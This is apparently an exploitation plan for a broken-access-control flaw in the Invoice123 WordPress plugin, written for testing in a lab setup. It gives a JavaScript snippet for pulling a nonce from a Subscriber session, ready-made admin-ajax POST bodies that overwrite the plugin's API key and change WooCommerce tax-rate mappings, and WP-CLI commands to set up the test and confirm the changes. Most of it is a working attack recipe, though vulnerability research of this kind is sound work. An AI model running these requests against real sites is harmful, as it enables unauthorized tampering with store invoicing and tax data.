Exploitation Research Plan: CVE-2026-9857 (Invoice123)

1. Vulnerability Summary

The Invoice123 plugin (<= 1.7.0) fails to implement capability checks on two AJAX actions: s123_submit_api_key and s123_submit_invoice_settings. While these actions are protected by a WordPress nonce (s123_security), they lack any current_user_can() check. This allows any authenticated user (including low-privileged Subscribers) to modify the plugin's API key, overwrite critical invoice settings, and manipulate WooCommerce tax rate mappings in the database.

2. Attack Vector Analysis

• Endpoints: /wp-admin/admin-ajax.php
• AJAX Actions:
  • s123_submit_api_key (Registered in S123\Includes\Pages\S123_ApiKey::s123_register)
  • s123_submit_invoice_settings (Registered in S123\Includes\Pages\S123_InvoiceSettings::s123_register)
• Authentication: Authenticated (Subscriber+)
• Parameters:
  • action: s123_submit_api_key or s123_submit_invoice_settings
  • s123_security: The nonce value (Action name: s123_security)
  • api_key: The new API key to set (for s123_submit_api_key)
  • api_vats[]: An array of strings in format {api_vat_id}-{woo_tax_id} (for s123_submit_invoice_settings)
• Preconditions:
  1. Plugin active.
  2. WooCommerce active (to verify tax rate modification).
  3. A valid Subscriber account.

3. Code Flow

API Key Modification (S123_ApiKey.php)

1. User sends POST request to admin-ajax.php with action=s123_submit_api_key.
2. s123_submit_api_key() is called.
3. wp_verify_nonce($_POST['s123_security'], 's123_security') validates the nonce.
4. Security Gap: No current_user_can('manage_options') check follows.
5. saveApiKey($data) is called.
6. $this->s123_update_options($options) writes the attacker-controlled api_key to the wp_options table.

Invoice Settings & Tax Mapping (S123_InvoiceSettings.php)

1. User sends POST request with action=s123_submit_invoice_settings.
2. s123_submit_invoice_settings() validates the nonce.
3. Security Gap: No capability check.
4. If api_vats is present, mapVats() is called.
5. mapVats() iterates through api_vats, explodes the string by -, and executes:
   UPDATE {$wpdb->prefix}woocommerce_tax_rates SET s123_tax_id='$vat[0]' WHERE tax_rate_id='$vat[1]'
6. This allows arbitrary modification of the s123_tax_id column in the WooCommerce tax table.

4. Nonce Acquisition Strategy

The nonce s123_security is required. In version 1.7.0, the plugin typically registers settings pages. Low-privileged users might find this nonce in the admin dashboard if the script is enqueued globally.

1. Search Admin Pages: Low-privileged users can access wp-admin/profile.php. Check if the plugin enqueues its localization object there.
2. Browser Extraction:
   • Login as a Subscriber.
   • Navigate to /wp-admin/profile.php.
   • Use browser_eval to search for the nonce:

     // Look for localized data. Common patterns for this plugin:
     // window.s123_vars.s123_security
     // window.s123_params.s123_security
     Object.keys(window).filter(k => k.includes('s123')).forEach(k => console.log(k, window[k]));
     

3. Specific Variable: Based on common patterns in this plugin's era, check for a localized object (e.g., s123_obj or s123_data) containing the s123_security key.

5. Exploitation Strategy

Step 1: Obtain Nonce

Use the browser_navigate and browser_eval tools as a Subscriber to extract the s123_security nonce from the page source or global JS variables.

Step 2: Overwrite API Key

Submit an HTTP request to change the plugin's API key.

• Action: s123_submit_api_key
• Method: POST
• URL: [TARGET]/wp-admin/admin-ajax.php
• Body (URL-encoded):

  action=s123_submit_api_key&s123_security=[NONCE]&api_key=pwned_api_key
  

• Expected Response: JSON success message {"success": true, "data": "..."} or a validation error from makeRequestToValidateKey (the key is saved before the request).

Step 3: Modify WooCommerce Tax Rates

Submit an HTTP request to modify tax mappings.

• Action: s123_submit_invoice_settings
• Method: POST
• URL: [TARGET]/wp-admin/admin-ajax.php
• Body (URL-encoded):

  action=s123_submit_invoice_settings&s123_security=[NONCE]&api_vats[]=99999-1&use_custom_inputs=1
  

  (Note: 1 in 99999-1 assumes a tax rate with ID 1 exists in the wp_woocommerce_tax_rates table).

6. Test Data Setup

1. User: Create a Subscriber user (e.g., attacker / attacker123).
2. Plugin: Install and activate saskaita123-lt version 1.7.0.
3. WooCommerce: Ensure WooCommerce is installed and at least one tax rate is created.
   • wp eval "BWC_Tax::insert_tax_rate(array('tax_rate_country' => 'US', 'tax_rate_id' => 1));" (or via UI).

7. Expected Results

1. Response: The AJAX response should return HTTP 200 with a JSON payload indicating success (e.g., "API Key saved successfully!").
2. API Key: The WordPress option (likely s123_options or similar) will contain api_key => 'pwned_api_key'.
3. Tax Table: The table wp_woocommerce_tax_rates will have the s123_tax_id column updated to 99999 for the row where tax_rate_id is 1.

8. Verification Steps

After the exploit, use WP-CLI to verify the state:

1. Check API Key:

   wp option get s123_options --format=json
   

2. Check Tax Rates:

   wp db query "SELECT tax_rate_id, s123_tax_id FROM $(wp db prefix)woocommerce_tax_rates WHERE tax_rate_id=1"
   

9. Alternative Approaches

If the nonce is not found on profile.php:

1. Check if the plugin adds an admin menu item that a Subscriber can see (unlikely).
2. Check for frontend nonces: Some Invoice123 versions may enqueue scripts on the frontend if WooCommerce "My Account" or "Checkout" pages are active.
   • wp post create --post_type=page --post_content='[woocommerce_my_account]' --post_status=publish
   • Navigate to this page and search for s123_security.
3. If makeRequestToValidateKey() in S123_ApiKey.php blocks success because the key is fake, note that saveApiKey() is executed before the validation request. The change is persistent even if the AJAX response returns an error.